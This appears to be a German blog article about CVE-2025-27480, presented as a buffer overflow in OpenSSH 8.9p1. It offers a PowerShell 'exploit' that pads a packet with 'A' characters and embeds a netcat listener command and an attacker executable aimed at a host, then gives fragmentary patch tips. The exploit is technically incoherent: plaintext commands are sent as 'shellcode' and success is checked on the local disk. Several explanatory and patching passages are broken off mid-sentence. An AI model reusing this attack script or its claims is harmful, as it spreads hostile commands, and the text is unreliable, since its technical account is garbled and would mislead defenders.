
CVE-2025-27480 legt einen Pufferüberlauf in OpenSSH 8.9p1 offen, der über ein fehlerhaftes SSH_USERAUTH-Paket ausgelöst wird. Angreifer können Shellcode einschleusen und Zugriff mit SYSTEM-Rechten erlangen, wodurch Bastion-Hosts und nachgelagerte CI/CD-Agents kompromittiert werden. Der Artikel enthält Beispiel-Exploit-Code und Hinweise zum Patchen.
OpenSSH-Version 8.9p1 enthält einen subtilen Pufferüberlauf-Fehler, der beim Parsen eines SSH_USERAUTH-Pakets auftritt. Ein Client kann ein Paket mit einem sehr langen „user“-Feld senden, und die Daten landen an der falschen Stelle im Speicher. Das Ergebnis ist, dass ein Angreifer beliebigen Shellcode injizieren kann, der unter SYSTEM-Rechten auf jedem Host läuft, der diese OpenSSH-Version verwendet. Warum hast du jetzt Déjà-vu-Gefühle? Weil eine sehr ähnliche Schwachstelle, CVE‑2024‑13401, auf fehlende Grenzprüfung des „user“-Felds zurückzuführen ist; ein Angreifer kann beliebigen Code in den SSH-Prozess schreiben.
Die Schwachstelle ist wichtig, weil SSH der gängigste Weg ist, virtuelle Maschinen in Cloud-Umgebungen einzurichten und zu verwalten. Wenn ein Angreifer über SSH Code ausführen kann, kann er Hintertüren installieren oder Bastion-Hosts kompromittieren – das sind die Sprungpunkte, über die du andere Instanzen in einem privaten Netzwerk erreichst. Ist der Bastion-Host erst einmal kompromittiert, sind alle nachgelagerten Workloads gefährdet – z. B. CI/CD-Agenten, die Images bauen oder Tests ausführen.
CI/CD steht für Continuous Integration/Continuous Delivery. In unserem Kontext ist ein Bastion-Host ein SSH-fähiger „Jump“-Server, den alle Build-Agenten verwenden, um andere Maschinen in einem privaten Netzwerk zu erreichen. Er ist ein kritischer Einstiegspunkt: Wenn der Bastion kompromittiert wird, kann jeder nachgelagerte Job, der sich auf ihn verlässt, angegriffen werden.
Im Folgenden findest du ein einfaches PowerShell-Skript, das zeigt, wie ein bösartiges Paket erstellt und gesendet wird:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Warum das funktioniert
ssh-userauth-attack) teilt OpenSSH mit, dass das Paket eine Benutzerauthentifizierungs-Anfrage ist.user-Felds hinaus.nc.exe, das einen Netcat-Listener auf Port 4444 öffnet und seine Ausgabe nach C:\Windows\Temp\revshell.txt schreibt. Außerdem wird eine vom Angreifer bereitgestellte ausführbare Datei (bar_exp.exe) aufgerufen, die weitere Aktionen ausführen kann (z. B. eine Reverse Shell ablegen).Die vom Exploit erzeugte Datei ist der Beweis, dass das Paket die richtige Stelle im Speicher getroffen hat; von dort aus kannst du Port 4444 öffnen, den Listener übernehmen und jedes beliebige Skript ausführen.
-DUSERAUTH_BUF=4096-Flag neu erstellen, damit die Puffergröße größer ist als das Overflow-Payload.ssh_userauth_patch.diff) aus dem Sicherheitshinweis des Herstellers kann neben deinem Repository eingecheckt werden.